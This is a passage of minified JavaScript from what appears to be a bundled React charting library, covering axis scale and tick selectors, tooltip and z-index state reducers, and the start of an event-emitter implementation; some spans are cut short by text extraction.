0?t:sb},p1=G([pt],h1),m1=G([p1,aQ],gk),iQ=G([cb,ka,dt,m1],Gk,{memoizeOptions:{resultEqualityCheck:Tp}}),jp=e=>e.errorBars,oQ=(e,t,n)=>e.flatMap(r=>t[r.id]).filter(Boolean).filter(r=>Kk(n,r)),ch=function(){for(var t=arguments.length,n=new Array(t),r=0;r{var l,c;if(n.length>0&&e.forEach(u=>{n.forEach(f=>{var h,p,m=(h=r[f.id])===null||h===void 0?void 0:h.filter(A=>Kk(i,A)),y=lt(u,(p=t.dataKey)!==null&&p!==void 0?p:f.dataKey),x=nQ(u,y,m);if(x.length>=2){var S=Math.min(...x),w=Math.max(...x);(l==null||Sc)&&(c=w)}var O=RN(y);O!=null&&(l=l==null?O[0]:Math.min(l,O[0]),c=c==null?O[1]:Math.max(c,O[1]))})}),t?.dataKey!=null&&e.forEach(u=>{var f=RN(lt(u,t.dataKey));f!=null&&(l=l==null?f[0]:Math.min(l,f[0]),c=c==null?f[1]:Math.max(c,f[1]))}),ht(l)&&ht(c))return[l,c]},lQ=G([f1,pt,eQ,jp,dt],v1,{memoizeOptions:{resultEqualityCheck:Tp}});function sQ(e){var{value:t}=e;if(qr(t)||t instanceof Date)return t}var cQ=(e,t,n)=>{var r=e.map(sQ).filter(i=>i!=null);return n&&(t.dataKey==null||t.allowDuplicatedCategory&&mR(r))?kD(0,e.length):t.allowDuplicatedCategory?r:Array.from(new Set(r))},Wk=e=>e.referenceElements.dots,ns=(e,t,n)=>e.filter(r=>r.ifOverflow==="extendDomain").filter(r=>t==="xAxis"?r.xAxisId===n:r.yAxisId===n),uQ=G([Wk,dt,ou],ns),Xk=e=>e.referenceElements.areas,fQ=G([Xk,dt,ou],ns),Zk=e=>e.referenceElements.lines,dQ=G([Zk,dt,ou],ns),Qk=(e,t)=>{if(e!=null){var n=Na(e.map(r=>t==="xAxis"?r.x:r.y));if(n.length!==0)return[Math.min(...n),Math.max(...n)]}},hQ=G(uQ,dt,Qk),Jk=(e,t)=>{if(e!=null){var n=Na(e.flatMap(r=>[t==="xAxis"?r.x1:r.y1,t==="xAxis"?r.x2:r.y2]));if(n.length!==0)return[Math.min(...n),Math.max(...n)]}},pQ=G([fQ,dt],Jk);function mQ(e){var t;if(e.x!=null)return Na([e.x]);var n=(t=e.segment)===null||t===void 0?void 0:t.map(r=>r.x);return n==null||n.length===0?[]:Na(n)}function vQ(e){var t;if(e.y!=null)return Na([e.y]);var n=(t=e.segment)===null||t===void 0?void 0:t.map(r=>r.y);return n==null||n.length===0?[]:Na(n)}var eL=(e,t)=>{if(e!=null){var n=e.flatMap(r=>t==="xAxis"?mQ(r):vQ(r));if(n.length!==0)return[Math.min(...n),Math.max(...n)]}},gQ=G([dQ,dt],eL),yQ=G(hQ,gQ,pQ,(e,t,n)=>ch(e,n,t)),g1=(e,t,n,r,i,l,c,u)=>{if(n!=null)return n;var f=c==="vertical"&&u==="xAxis"||c==="horizontal"&&u==="yAxis",h=f?ch(r,l,i):ch(l,i);return NZ(t,h,e.allowDataOverflow)},bQ=G([pt,p1,m1,iQ,lQ,yQ,Fe,dt],g1,{memoizeOptions:{resultEqualityCheck:Tp}}),xQ=[0,1],y1=(e,t,n,r,i,l,c)=>{if(!((e==null||n==null||n.length===0)&&c===void 0)){var{dataKey:u,type:f}=e,h=So(t,l);if(h&&u==null){var p;return kD(0,(p=n?.length)!==null&&p!==void 0?p:0)}return f==="category"?cQ(r,e,h):i==="expand"?xQ:c}},b1=G([pt,Fe,f1,Mp,iu,dt,bQ],y1),tL=(e,t,n,r,i)=>{if(e!=null){var{scale:l,type:c}=e;if(l==="auto")return t==="radial"&&i==="radiusAxis"?"band":t==="radial"&&i==="angleAxis"?"linear":c==="category"&&r&&(r.indexOf("LineChart")>=0||r.indexOf("AreaChart")>=0||r.indexOf("ComposedChart")>=0&&!n)?"point":c==="category"?"band":"linear";if(typeof l=="string"){var u="scale".concat(Yc(l));return u in mc?u:"point"}}},rs=G([pt,Fe,qk,Qx,dt],tL);function wQ(e){if(e!=null){if(e in mc)return mc[e]();var t="scale".concat(Yc(e));if(t in mc)return mc[t]()}}function x1(e,t,n,r){if(!(n==null||r==null)){if(typeof e.scale=="function")return e.scale.copy().domain(n).range(r);var i=wQ(t);if(i!=null){var l=i.domain(n).range(r);return _K(l),l}}}var w1=(e,t,n)=>{var r=h1(t);if(!(n!=="auto"&&n!=="linear")){if(t!=null&&t.tickCount&&Array.isArray(r)&&(r[0]==="auto"||r[1]==="auto")&&Oi(e))return zZ(e,t.tickCount,t.allowDecimals);if(t!=null&&t.tickCount&&t.type==="number"&&Oi(e))return $Z(e,t.tickCount,t.allowDecimals)}},S1=G([b1,lu,rs],w1),O1=(e,t,n,r)=>{if(r!=="angleAxis"&&e?.type==="number"&&Oi(t)&&Array.isArray(n)&&n.length>0){var i=t[0],l=n[0],c=t[1],u=n[n.length-1];return[Math.min(i,l),Math.max(c,u)]}return t},SQ=G([pt,b1,S1,dt],O1),OQ=G(Mp,pt,(e,t)=>{if(!(!t||t.type!=="number")){var n=1/0,r=Array.from(Na(e.map(m=>m.value))).sort((m,y)=>m-y),i=r[0],l=r[r.length-1];if(i==null||l==null)return 1/0;var c=l-i;if(c===0)return 1/0;for(var u=0;ui,(e,t,n,r,i)=>{if(!ht(e))return 0;var l=t==="vertical"?r.height:r.width;if(i==="gap")return e*l/2;if(i==="no-gap"){var c=on(n,e*l),u=e*l/2;return u-c-(u-c)/l*c}return 0}),EQ=(e,t,n)=>{var r=La(e,t);return r==null||typeof r.padding!="string"?0:nL(e,"xAxis",t,n,r.padding)},AQ=(e,t,n)=>{var r=Ia(e,t);return r==null||typeof r.padding!="string"?0:nL(e,"yAxis",t,n,r.padding)},CQ=G(La,EQ,(e,t)=>{var n,r;if(e==null)return{left:0,right:0};var{padding:i}=e;return typeof i=="string"?{left:t,right:t}:{left:((n=i.left)!==null&&n!==void 0?n:0)+t,right:((r=i.right)!==null&&r!==void 0?r:0)+t}}),_Q=G(Ia,AQ,(e,t)=>{var n,r;if(e==null)return{top:0,bottom:0};var{padding:i}=e;return typeof i=="string"?{top:t,bottom:t}:{top:((n=i.top)!==null&&n!==void 0?n:0)+t,bottom:((r=i.bottom)!==null&&r!==void 0?r:0)+t}}),TQ=G([kt,CQ,cp,sp,(e,t,n)=>n],(e,t,n,r,i)=>{var{padding:l}=r;return i?[l.left,n.width-l.right]:[e.left+t.left,e.left+e.width-t.right]}),NQ=G([kt,Fe,_Q,cp,sp,(e,t,n)=>n],(e,t,n,r,i,l)=>{var{padding:c}=i;return l?[r.height-c.bottom,c.top]:t==="horizontal"?[e.top+e.height-n.bottom,e.top+n.top]:[e.top+n.top,e.top+e.height-n.bottom]}),uu=(e,t,n,r)=>{var i;switch(t){case"xAxis":return TQ(e,n,r);case"yAxis":return NQ(e,n,r);case"zAxis":return(i=i1(e,n))===null||i===void 0?void 0:i.range;case"angleAxis":return Ik(e);case"radiusAxis":return zk(e,n);default:return}},rL=G([pt,uu],Ap),Pp=G([pt,rs,SQ,rL],x1);G([su,jp,dt],oQ);function aL(e,t){return e.idt.id?1:0}var Rp=(e,t)=>t,Dp=(e,t,n)=>n,MQ=G(op,Rp,Dp,(e,t,n)=>e.filter(r=>r.orientation===t).filter(r=>r.mirror===n).sort(aL)),jQ=G(lp,Rp,Dp,(e,t,n)=>e.filter(r=>r.orientation===t).filter(r=>r.mirror===n).sort(aL)),iL=(e,t)=>({width:e.width,height:t.height}),PQ=(e,t)=>{var n=typeof t.width=="number"?t.width:Qc;return{width:n,height:e.height}},oL=G(kt,La,iL),RQ=(e,t,n)=>{switch(t){case"top":return e.top;case"bottom":return n-e.bottom;default:return 0}},DQ=(e,t,n)=>{switch(t){case"left":return e.left;case"right":return n-e.right;default:return 0}},kQ=G(Ra,kt,MQ,Rp,Dp,(e,t,n,r,i)=>{var l={},c;return n.forEach(u=>{var f=iL(t,u);c==null&&(c=RQ(t,r,e));var h=r==="top"&&!i||r==="bottom"&&i;l[u.id]=c-Number(h)*f.height,c+=(h?-1:1)*f.height}),l}),LQ=G(Pa,kt,jQ,Rp,Dp,(e,t,n,r,i)=>{var l={},c;return n.forEach(u=>{var f=PQ(t,u);c==null&&(c=DQ(t,r,e));var h=r==="left"&&!i||r==="right"&&i;l[u.id]=c-Number(h)*f.width,c+=(h?-1:1)*f.width}),l}),IQ=(e,t)=>{var n=La(e,t);if(n!=null)return kQ(e,n.orientation,n.mirror)},zQ=G([kt,La,IQ,(e,t)=>t],(e,t,n,r)=>{if(t!=null){var i=n?.[r];return i==null?{x:e.left,y:0}:{x:e.left,y:i}}}),$Q=(e,t)=>{var n=Ia(e,t);if(n!=null)return LQ(e,n.orientation,n.mirror)},BQ=G([kt,Ia,$Q,(e,t)=>t],(e,t,n,r)=>{if(t!=null){var i=n?.[r];return i==null?{x:0,y:e.top}:{x:i,y:e.top}}}),lL=G(kt,Ia,(e,t)=>{var n=typeof t.width=="number"?t.width:Qc;return{width:n,height:e.height}}),DN=(e,t,n)=>{switch(t){case"xAxis":return oL(e,n).width;case"yAxis":return lL(e,n).height;default:return}},sL=(e,t,n,r)=>{if(n!=null){var{allowDuplicatedCategory:i,type:l,dataKey:c}=n,u=So(e,r),f=t.map(h=>h.value);if(c&&u&&l==="category"&&i&&mR(f))return f}},E1=G([Fe,Mp,pt,dt],sL),cL=(e,t,n,r)=>{if(!(n==null||n.dataKey==null)){var{type:i,scale:l}=n,c=So(e,r);if(c&&(i==="number"||l!=="auto"))return t.map(u=>u.value)}},A1=G([Fe,Mp,lu,dt],cL);G([Fe,QZ,rs,Pp,E1,A1,uu,S1,dt],(e,t,n,r,i,l,c,u,f)=>{if(t!=null){var h=So(e,f);return{angle:t.angle,interval:t.interval,minTickGap:t.minTickGap,orientation:t.orientation,tick:t.tick,tickCount:t.tickCount,tickFormatter:t.tickFormatter,ticks:t.ticks,type:t.type,unit:t.unit,axisType:f,categoricalDomain:l,duplicateDomain:i,isCategorical:h,niceTicks:u,range:c,realScaleType:n,scale:r}}});var UQ=(e,t,n,r,i,l,c,u,f)=>{if(!(t==null||r==null)){var h=So(e,f),{type:p,ticks:m,tickCount:y}=t,x=n==="scaleBand"&&typeof r.bandwidth=="function"?r.bandwidth()/2:2,S=p==="category"&&r.bandwidth?r.bandwidth()/x:0;S=f==="angleAxis"&&l!=null&&l.length>=2?tn(l[0]-l[1])*2*S:S;var w=m||i;if(w){var O=w.map((A,_)=>{var T=c?c.indexOf(A):A;return{index:_,coordinate:r(T)+S,value:A,offset:S}});return O.filter(A=>ht(A.coordinate))}return h&&u?u.map((A,_)=>({coordinate:r(A)+S,value:A,index:_,offset:S})).filter(A=>ht(A.coordinate)):r.ticks?r.ticks(y).map(A=>({coordinate:r(A)+S,value:A,offset:S})):r.domain().map((A,_)=>({coordinate:r(A)+S,value:c?c[A]:A,index:_,offset:S}))}},uL=G([Fe,lu,rs,Pp,S1,uu,E1,A1,dt],UQ),HQ=(e,t,n,r,i,l,c)=>{if(!(t==null||n==null||r==null||r[0]===r[1])){var u=So(e,c),{tickCount:f}=t,h=0;return h=c==="angleAxis"&&r?.length>=2?tn(r[0]-r[1])*2*h:h,u&&l?l.map((p,m)=>({coordinate:n(p)+h,value:p,index:m,offset:h})):n.ticks?n.ticks(f).map(p=>({coordinate:n(p)+h,value:p,offset:h})):n.domain().map((p,m)=>({coordinate:n(p)+h,value:i?i[p]:p,index:m,offset:h}))}},$l=G([Fe,lu,Pp,uu,E1,A1,dt],HQ),Bl=G(pt,Pp,(e,t)=>{if(!(e==null||t==null))return sh(sh({},e),{},{scale:t})}),qQ=G([pt,rs,b1,rL],x1);G((e,t,n)=>i1(e,n),qQ,(e,t)=>{if(!(e==null||t==null))return sh(sh({},e),{},{scale:t})});var FQ=G([Fe,op,lp],(e,t,n)=>{switch(e){case"horizontal":return t.some(r=>r.reversed)?"right-to-left":"left-to-right";case"vertical":return n.some(r=>r.reversed)?"bottom-to-top":"top-to-bottom";case"centric":case"radial":return"left-to-right";default:return}}),fL=e=>e.options.defaultTooltipEventType,dL=e=>e.options.validateTooltipEventTypes;function hL(e,t,n){if(e==null)return t;var r=e?"axis":"item";return n==null?t:n.includes(r)?r:t}function C1(e,t){var n=fL(e),r=dL(e);return hL(t,n,r)}function VQ(e){return we(t=>C1(t,e))}var pL=(e,t)=>{var n,r=Number(t);if(!(Hr(r)||t==null))return r>=0?e==null||(n=e[r])===null||n===void 0?void 0:n.value:void 0},KQ=e=>e.tooltip.settings,gi={active:!1,index:null,dataKey:void 0,graphicalItemId:void 0,coordinate:void 0},YQ={itemInteraction:{click:gi,hover:gi},axisInteraction:{click:gi,hover:gi},keyboardInteraction:gi,syncInteraction:{active:!1,index:null,dataKey:void 0,label:void 0,coordinate:void 0,sourceViewBox:void 0,graphicalItemId:void 0},tooltipItemPayloads:[],settings:{shared:void 0,trigger:"hover",axisId:0,active:!1,defaultIndex:void 0}},mL=An({name:"tooltip",initialState:YQ,reducers:{addTooltipEntrySettings:{reducer(e,t){e.tooltipItemPayloads.push(t.payload)},prepare:ct()},replaceTooltipEntrySettings:{reducer(e,t){var{prev:n,next:r}=t.payload,i=Sr(e).tooltipItemPayloads.indexOf(n);i>-1&&(e.tooltipItemPayloads[i]=r)},prepare:ct()},removeTooltipEntrySettings:{reducer(e,t){var n=Sr(e).tooltipItemPayloads.indexOf(t.payload);n>-1&&e.tooltipItemPayloads.splice(n,1)},prepare:ct()},setTooltipSettingsState(e,t){e.settings=t.payload},setActiveMouseOverItemIndex(e,t){e.syncInteraction.active=!1,e.keyboardInteraction.active=!1,e.itemInteraction.hover.active=!0,e.itemInteraction.hover.index=t.payload.activeIndex,e.itemInteraction.hover.dataKey=t.payload.activeDataKey,e.itemInteraction.hover.graphicalItemId=t.payload.activeGraphicalItemId,e.itemInteraction.hover.coordinate=t.payload.activeCoordinate},mouseLeaveChart(e){e.itemInteraction.hover.active=!1,e.axisInteraction.hover.active=!1},mouseLeaveItem(e){e.itemInteraction.hover.active=!1},setActiveClickItemIndex(e,t){e.syncInteraction.active=!1,e.itemInteraction.click.active=!0,e.keyboardInteraction.active=!1,e.itemInteraction.click.index=t.payload.activeIndex,e.itemInteraction.click.dataKey=t.payload.activeDataKey,e.itemInteraction.click.graphicalItemId=t.payload.activeGraphicalItemId,e.itemInteraction.click.coordinate=t.payload.activeCoordinate},setMouseOverAxisIndex(e,t){e.syncInteraction.active=!1,e.axisInteraction.hover.active=!0,e.keyboardInteraction.active=!1,e.axisInteraction.hover.index=t.payload.activeIndex,e.axisInteraction.hover.dataKey=t.payload.activeDataKey,e.axisInteraction.hover.coordinate=t.payload.activeCoordinate},setMouseClickAxisIndex(e,t){e.syncInteraction.active=!1,e.keyboardInteraction.active=!1,e.axisInteraction.click.active=!0,e.axisInteraction.click.index=t.payload.activeIndex,e.axisInteraction.click.dataKey=t.payload.activeDataKey,e.axisInteraction.click.coordinate=t.payload.activeCoordinate},setSyncInteraction(e,t){e.syncInteraction=t.payload},setKeyboardInteraction(e,t){e.keyboardInteraction.active=t.payload.active,e.keyboardInteraction.index=t.payload.activeIndex,e.keyboardInteraction.coordinate=t.payload.activeCoordinate}}}),{addTooltipEntrySettings:GQ,replaceTooltipEntrySettings:WQ,removeTooltipEntrySettings:XQ,setTooltipSettingsState:ZQ,setActiveMouseOverItemIndex:vL,mouseLeaveItem:QQ,mouseLeaveChart:gL,setActiveClickItemIndex:JQ,setMouseOverAxisIndex:yL,setMouseClickAxisIndex:eJ,setSyncInteraction:ub,setKeyboardInteraction:fb}=mL.actions,tJ=mL.reducer;function kN(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function ad(e){for(var t=1;t{if(t==null)return gi;var i=iJ(e,t,n);if(i==null)return gi;if(i.active)return i;if(e.keyboardInteraction.active)return e.keyboardInteraction;if(e.syncInteraction.active&&e.syncInteraction.index!=null)return e.syncInteraction;var l=e.settings.active===!0;if(oJ(i)){if(l)return ad(ad({},i),{},{active:!0})}else if(r!=null)return{active:!0,coordinate:void 0,dataKey:void 0,index:r,graphicalItemId:void 0};return ad(ad({},gi),{},{coordinate:i.coordinate})};function lJ(e){if(typeof e=="number")return Number.isFinite(e)?e:void 0;if(e instanceof Date){var t=e.valueOf();return Number.isFinite(t)?t:void 0}var n=Number(e);return Number.isFinite(n)?n:void 0}function sJ(e,t){var n=lJ(e),r=t[0],i=t[1];if(n===void 0)return!1;var l=Math.min(r,i),c=Math.max(r,i);return n>=l&&n<=c}function cJ(e,t,n){if(n==null||t==null)return!0;var r=lt(e,t);return r==null||!Oi(n)?!0:sJ(r,n)}var _1=(e,t,n,r)=>{var i=e?.index;if(i==null)return null;var l=Number(i);if(!ht(l))return i;var c=0,u=1/0;t.length>0&&(u=t.length-1);var f=Math.max(c,Math.min(l,u)),h=t[f];return h==null||cJ(h,n,r)?String(f):null},xL=(e,t,n,r,i,l,c,u)=>{if(!(l==null||u==null)){var f=c[0],h=f==null?void 0:u(f.positions,l);if(h!=null)return h;var p=i?.[Number(l)];if(p)return n==="horizontal"?{x:p.coordinate,y:(r.top+t)/2}:{x:(r.left+e)/2,y:p.coordinate}}},wL=(e,t,n,r)=>{if(t==="axis")return e.tooltipItemPayloads;if(e.tooltipItemPayloads.length===0)return[];var i;if(n==="hover"?i=e.itemInteraction.hover.graphicalItemId:i=e.itemInteraction.click.graphicalItemId,i==null&&r!=null){var l=e.tooltipItemPayloads[0];return l!=null?[l]:[]}return e.tooltipItemPayloads.filter(c=>{var u;return((u=c.settings)===null||u===void 0?void 0:u.graphicalItemId)===i})},fu=e=>e.options.tooltipPayloadSearcher,as=e=>e.tooltip;function LN(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function IN(e){for(var t=1;t{if(!(t==null||l==null)){var{chartData:u,computedData:f,dataStartIndex:h,dataEndIndex:p}=n,m=[];return e.reduce((y,x)=>{var S,{dataDefinedOnItem:w,settings:O}=x,A=hJ(w,u),_=Array.isArray(A)?lD(A,h,p):A,T=(S=O?.dataKey)!==null&&S!==void 0?S:r,j=O?.nameKey,M;if(r&&Array.isArray(_)&&!Array.isArray(_[0])&&c==="axis"?M=hF(_,r,i):M=l(_,t,f,j),Array.isArray(M))M.forEach(R=>{var I=IN(IN({},O),{},{name:R.name,unit:R.unit,color:void 0,fill:void 0});y.push(H_({tooltipEntrySettings:I,dataKey:R.dataKey,payload:R.payload,value:lt(R.payload,R.dataKey),name:R.name}))});else{var P;y.push(H_({tooltipEntrySettings:O,dataKey:T,payload:M,value:lt(M,T),name:(P=lt(M,j))!==null&&P!==void 0?P:O?.name}))}return y},m)}},T1=G([zt,Fe,qk,Qx,It],tL),pJ=G([e=>e.graphicalItems.cartesianItems,e=>e.graphicalItems.polarItems],(e,t)=>[...e,...t]),mJ=G([It,ts],o1),is=G([pJ,zt,mJ],s1,{memoizeOptions:{resultEqualityCheck:Np}}),vJ=G([is],e=>e.filter(_p)),gJ=G([is],c1,{memoizeOptions:{resultEqualityCheck:Np}}),os=G([gJ,ka],u1),yJ=G([vJ,ka,zt],Bk),N1=G([os,zt,is],d1),OL=G([zt],h1),bJ=G([zt],e=>e.allowDataOverflow),EL=G([OL,bJ],gk),xJ=G([is],e=>e.filter(_p)),wJ=G([yJ,xJ,iu,Rk],Yk),SJ=G([wJ,ka,It,EL],Gk),OJ=G([is],Vk),EJ=G([os,zt,OJ,jp,It],v1,{memoizeOptions:{resultEqualityCheck:Tp}}),AJ=G([Wk,It,ts],ns),CJ=G([AJ,It],Qk),_J=G([Xk,It,ts],ns),TJ=G([_J,It],Jk),NJ=G([Zk,It,ts],ns),MJ=G([NJ,It],eL),jJ=G([CJ,MJ,TJ],ch),PJ=G([zt,OL,EL,SJ,EJ,jJ,Fe,It],g1),du=G([zt,Fe,os,N1,iu,It,PJ],y1),RJ=G([du,zt,T1],w1),DJ=G([zt,du,RJ,It],O1),AL=e=>{var t=It(e),n=ts(e),r=!1;return uu(e,t,n,r)},CL=G([zt,AL],Ap),_L=G([zt,T1,DJ,CL],x1),kJ=G([Fe,N1,zt,It],sL),LJ=G([Fe,N1,zt,It],cL),IJ=(e,t,n,r,i,l,c,u)=>{if(t){var{type:f}=t,h=So(e,u);if(r){var p=n==="scaleBand"&&r.bandwidth?r.bandwidth()/2:2,m=f==="category"&&r.bandwidth?r.bandwidth()/p:0;return m=u==="angleAxis"&&i!=null&&i?.length>=2?tn(i[0]-i[1])*2*m:m,h&&c?c.map((y,x)=>({coordinate:r(y)+m,value:y,index:x,offset:m})):r.domain().map((y,x)=>({coordinate:r(y)+m,value:l?l[y]:y,index:x,offset:m}))}}},za=G([Fe,zt,T1,_L,AL,kJ,LJ,It],IJ),M1=G([fL,dL,KQ],(e,t,n)=>hL(n.shared,e,t)),TL=e=>e.tooltip.settings.trigger,j1=e=>e.tooltip.settings.defaultIndex,hu=G([as,M1,TL,j1],bL),mo=G([hu,os,cu,du],_1),NL=G([za,mo],pL),P1=G([hu],e=>{if(e)return e.dataKey}),zJ=G([hu],e=>{if(e)return e.graphicalItemId}),ML=G([as,M1,TL,j1],wL),$J=G([Pa,Ra,Fe,kt,za,j1,ML,fu],xL),BJ=G([hu,$J],(e,t)=>e!=null&&e.coordinate?e.coordinate:t),UJ=G([hu],e=>{var t;return(t=e?.active)!==null&&t!==void 0?t:!1}),HJ=G([ML,mo,ka,cu,NL,fu,M1],SL);G([HJ],e=>{if(e!=null){var t=e.map(n=>n.payload).filter(n=>n!=null);return Array.from(new Set(t))}});function zN(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function $N(e){for(var t=1;twe(zt),YJ=()=>{var e=KJ(),t=we(za),n=we(_L);return qd(!e||!n?void 0:$N($N({},e),{},{scale:n}),t)};function BN(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function xl(e){for(var t=1;t{var i=t.find(l=>l&&l.index===n);if(i){if(e==="horizontal")return{x:i.coordinate,y:r.chartY};if(e==="vertical")return{x:r.chartX,y:i.coordinate}}return{x:0,y:0}},QJ=(e,t,n,r)=>{var i=t.find(h=>h&&h.index===n);if(i){if(e==="centric"){var l=i.coordinate,{radius:c}=r;return xl(xl(xl({},r),Nt(r.cx,r.cy,c,l)),{},{angle:l,radius:c})}var u=i.coordinate,{angle:f}=r;return xl(xl(xl({},r),Nt(r.cx,r.cy,u,f)),{},{angle:f,radius:u})}return{angle:0,clockWise:!1,cx:0,cy:0,endAngle:0,innerRadius:0,outerRadius:0,radius:0,startAngle:0,x:0,y:0}};function JJ(e,t){var{chartX:n,chartY:r}=e;return n>=t.left&&n<=t.left+t.width&&r>=t.top&&r<=t.top+t.height}var jL=(e,t,n,r,i)=>{var l,c=(l=t?.length)!==null&&l!==void 0?l:0;if(c<=1||e==null)return 0;if(r==="angleAxis"&&i!=null&&Math.abs(Math.abs(i[1]-i[0])-360)<=1e-6)for(var u=0;u0?(f=n[u-1])===null||f===void 0?void 0:f.coordinate:(h=n[c-1])===null||h===void 0?void 0:h.coordinate,S=(p=n[u])===null||p===void 0?void 0:p.coordinate,w=u>=c-1?(m=n[0])===null||m===void 0?void 0:m.coordinate:(y=n[u+1])===null||y===void 0?void 0:y.coordinate,O=void 0;if(!(x==null||S==null||w==null))if(tn(S-x)!==tn(w-S)){var A=[];if(tn(w-S)===tn(i[1]-i[0])){O=w;var _=S+i[1]-i[0];A[0]=Math.min(_,(_+x)/2),A[1]=Math.max(_,(_+x)/2)}else{O=x;var T=w+i[1]-i[0];A[0]=Math.min(S,(T+S)/2),A[1]=Math.max(S,(T+S)/2)}var j=[Math.min(S,(O+S)/2),Math.max(S,(O+S)/2)];if(e>j[0]&&e<=j[1]||e>=A[0]&&e<=A[1]){var M;return(M=n[u])===null||M===void 0?void 0:M.index}}else{var P=Math.min(x,w),R=Math.max(x,w);if(e>(P+S)/2&&e<=(R+S)/2){var I;return(I=n[u])===null||I===void 0?void 0:I.index}}}else if(t)for(var B=0;B(q.coordinate+V.coordinate)/2||B>0&&B(q.coordinate+V.coordinate)/2&&e<=(q.coordinate+U.coordinate)/2)return q.index}}return-1},eee=()=>we(Qx),R1=(e,t)=>t,PL=(e,t,n)=>n,D1=(e,t,n,r)=>r,tee=G(za,e=>Xh(e,t=>t.coordinate)),k1=G([as,R1,PL,D1],bL),L1=G([k1,os,cu,du],_1),nee=(e,t,n)=>{if(t!=null){var r=as(e);return t==="axis"?n==="hover"?r.axisInteraction.hover.dataKey:r.axisInteraction.click.dataKey:n==="hover"?r.itemInteraction.hover.dataKey:r.itemInteraction.click.dataKey}},RL=G([as,R1,PL,D1],wL),uh=G([Pa,Ra,Fe,kt,za,D1,RL,fu],xL),ree=G([k1,uh],(e,t)=>{var n;return(n=e.coordinate)!==null&&n!==void 0?n:t}),DL=G([za,L1],pL),aee=G([RL,L1,ka,cu,DL,fu,R1],SL),iee=G([k1,L1],(e,t)=>({isActive:e.active&&t!=null,activeIndex:t})),oee=(e,t,n,r,i,l,c)=>{if(!(!e||!n||!r||!i)&&JJ(e,c)){var u=zK(e,t),f=jL(u,l,i,n,r),h=ZJ(t,i,f,e);return{activeIndex:String(f),activeCoordinate:h}}},lee=(e,t,n,r,i,l,c)=>{if(!(!e||!r||!i||!l||!n)){var u=FG(e,n);if(u){var f=$K(u,t),h=jL(f,c,l,r,i),p=QJ(t,l,h,u);return{activeIndex:String(h),activeCoordinate:p}}}},see=(e,t,n,r,i,l,c,u)=>{if(!(!e||!t||!r||!i||!l))return t==="horizontal"||t==="vertical"?oee(e,t,r,i,l,c,u):lee(e,t,n,r,i,l,c)},cee=G(e=>e.zIndex.zIndexMap,(e,t)=>t,(e,t,n)=>n,(e,t,n)=>{if(t!=null){var r=e[t];if(r!=null)return n?r.panoramaElement:r.element}}),uee=G(e=>e.zIndex.zIndexMap,e=>{var t=Object.keys(e).map(r=>parseInt(r,10)).concat(Object.values(an)),n=Array.from(new Set(t));return n.sort((r,i)=>r-i)},{memoizeOptions:{resultEqualityCheck:YZ}});function UN(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function HN(e){for(var t=1;tHN(HN({},e),{},{[t]:{element:void 0,panoramaElement:void 0,consumers:0}}),pee)},vee=new Set(Object.values(an));function gee(e){return vee.has(e)}var kL=An({name:"zIndex",initialState:mee,reducers:{registerZIndexPortal:{reducer:(e,t)=>{var{zIndex:n}=t.payload;e.zIndexMap[n]?e.zIndexMap[n].consumers+=1:e.zIndexMap[n]={consumers:1,element:void 0,panoramaElement:void 0}},prepare:ct()},unregisterZIndexPortal:{reducer:(e,t)=>{var{zIndex:n}=t.payload;e.zIndexMap[n]&&(e.zIndexMap[n].consumers-=1,e.zIndexMap[n].consumers<=0&&!gee(n)&&delete e.zIndexMap[n])},prepare:ct()},registerZIndexPortalElement:{reducer:(e,t)=>{var{zIndex:n,element:r,isPanorama:i}=t.payload;e.zIndexMap[n]?i?e.zIndexMap[n].panoramaElement=r:e.zIndexMap[n].element=r:e.zIndexMap[n]={consumers:0,element:i?void 0:r,panoramaElement:i?r:void 0}},prepare:ct()},unregisterZIndexPortalElement:{reducer:(e,t)=>{var{zIndex:n}=t.payload;e.zIndexMap[n]&&(t.payload.isPanorama?e.zIndexMap[n].panoramaElement=void 0:e.zIndexMap[n].element=void 0)},prepare:ct()}}}),{registerZIndexPortal:yee,unregisterZIndexPortal:bee,registerZIndexPortalElement:xee,unregisterZIndexPortalElement:wee}=kL.actions,See=kL.reducer;function Gr(e){var{zIndex:t,children:n}=e,r=bY(),i=r&&t!==void 0&&t!==0,l=Vn(),c=ft();v.useLayoutEffect(()=>i?(c(yee({zIndex:t})),()=>{c(bee({zIndex:t}))}):Gc,[c,t,i]);var u=we(f=>cee(f,t,l));return i?u?wo.createPortal(n,u):null:n}function db(){return db=Object.assign?Object.assign.bind():function(e){for(var t=1;tv.useContext(LL),qy={exports:{}},FN;function Mee(){return FN||(FN=1,(function(e){var t=Object.prototype.hasOwnProperty,n="~";function r(){}Object.create&&(r.prototype=Object.create(null),new r().__proto__||(n=!1));function i(f,h,p){this.fn=f,this.context=h,this.once=p||!1}function l(f,h,p,m,y){if(typeof p!="function")throw new TypeError("The listener must be a function");var x=new i(p,m||f,y),S=n?n+h:h;return f._events[S]?f._events[S].fn?f._events[S]=[f._events[S],x]:f._events[S].push(x):(f._events[S]=x,f._eventsCount++),f}function c(f,h){--f._eventsCount===0?f._events=new r:delete f._events[h]}function u(){this._events=new r,this._eventsCount=0}u.prototype.eventNames=function(){var h=[],p,m;if(this._eventsCount===0)return h;for(m in p=this._events)t.call(p,m)&&h.push(n?m.slice(1):m);return Object.getOwnPropertySymbols?h.concat(Object.getOwnPropertySymbols(p)):h},u.prototype.listeners=function(h){var p=n?n+h:h,m=this._events[p];if(!m)return[];if(m.fn)return[m.fn];for(var y=0,x=m.length,S=new 